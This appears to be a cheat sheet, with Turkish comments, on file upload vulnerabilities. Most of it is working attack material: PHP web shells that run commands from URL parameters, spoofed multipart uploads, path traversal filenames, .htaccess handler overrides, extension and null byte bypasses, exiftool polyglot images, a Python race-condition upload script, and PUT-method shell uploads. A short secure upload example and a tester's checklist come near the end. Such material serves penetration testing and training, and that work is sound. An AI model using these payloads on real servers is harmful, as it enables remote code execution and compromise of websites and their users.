File Upload Vulnerabilities

<?php
echo file_get_contents('/path/to/target/file');
?>

<?php
echo system($_GET['command']);
?>

GET /uploads/shell.php?command=id HTTP/1.1
Host: vulnerable-site.com

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

[...binary image data...]
------WebKitFormBoundary--

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
------WebKitFormBoundary--

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

# .htaccess dosya içeriği
AddType application/x-httpd-php .txt
AddHandler php-script .txt

# shell.txt dosya içeriği
<?php
echo system($_GET['cmd']);
?>

# Çoklu uzantı bypass
shell.php.jpg
shell.php.png
shell.php.gif

# Trailing characters
shell.php     # space
shell.php.    # dot
shell.php%20  # encoded space

# Null byte injection
shell.php%00.jpg
shell.php;.jpg

# ExifTool ile polyglot JPEG oluşturma
exiftool -Comment="<?php echo system(\$_GET['cmd']); ?>" image.jpg

# Manuel olarak JPEG header + PHP code
FF D8 FF E0 # JPEG magic bytes
<?php system($_GET['cmd']); ?>

# PNG header ile başlayan polyglot
‰PNG<?php system($_GET['cmd']); ?>

# Hex olarak
89 50 4E 47 3C 3F 70 68 70 20 73 79 73...

import threading
import requests
import time

def upload_file():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post('http://target.com/upload', files=files)

def access_file():
    while True:
        r = requests.get('http://target.com/uploads/shell.php?cmd=id')
        if 'uid=' in r.text:
            print('Success!', r.text)
            break
        time.sleep(0.01)

# Paralel çalıştırma
threading.Thread(target=upload_file).start()
threading.Thread(target=access_file).start()

PUT /uploads/shell.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo system($_GET['cmd']); ?>

OPTIONS /uploads/ HTTP/1.1
Host: target.com

# Response:
HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, OPTIONS

# PHP Güvenli Upload Örneği
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 2 * 1024 * 1024; // 2MB

if (!in_array($_FILES['file']['type'], $allowed_types)) {
    die('Invalid file type');
}

if ($_FILES['file']['size'] > $max_size) {
    die('File too large');
}

# Magic bytes kontrolü
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$file_type = finfo_file($finfo, $_FILES['file']['tmp_name']);

# File Upload Test Checklist

□ Basic Upload Test
  - Normal dosya yükleme çalışıyor mu?
  - Hangi dosya tipleri kabul ediliyor?
  - Dosya boyutu limiti var mı?

□ File Extension Tests
  - .php, .jsp, .asp uzantıları engelleniyor mu?
  - Alternatif uzantılar (.php5, .phtml) test edildi mi?
  - Case sensitivity bypass denendir mi?
  - Double extension (shell.php.jpg) test edildi mi?

□ Content-Type Bypass
  - MIME type doğrulaması var mı?
  - Content-Type header manipüle edilebilir mi?
  - Multipart form-data bypass mümkün mü?

□ Magic Bytes Test
  - Dosya içeriği doğrulanıyor mu?
  - Polyglot dosyalar çalışıyor mu?
  - Image header + shell code kombinasyonu?

# Extension payloads
php
php3
php4
php5
php7
phtml
pht
phps
inc

# Case variation payloads
PHP
PhP
pHp
Php

# Double extension payloads
php.jpg
php.png
php.gif
php.pdf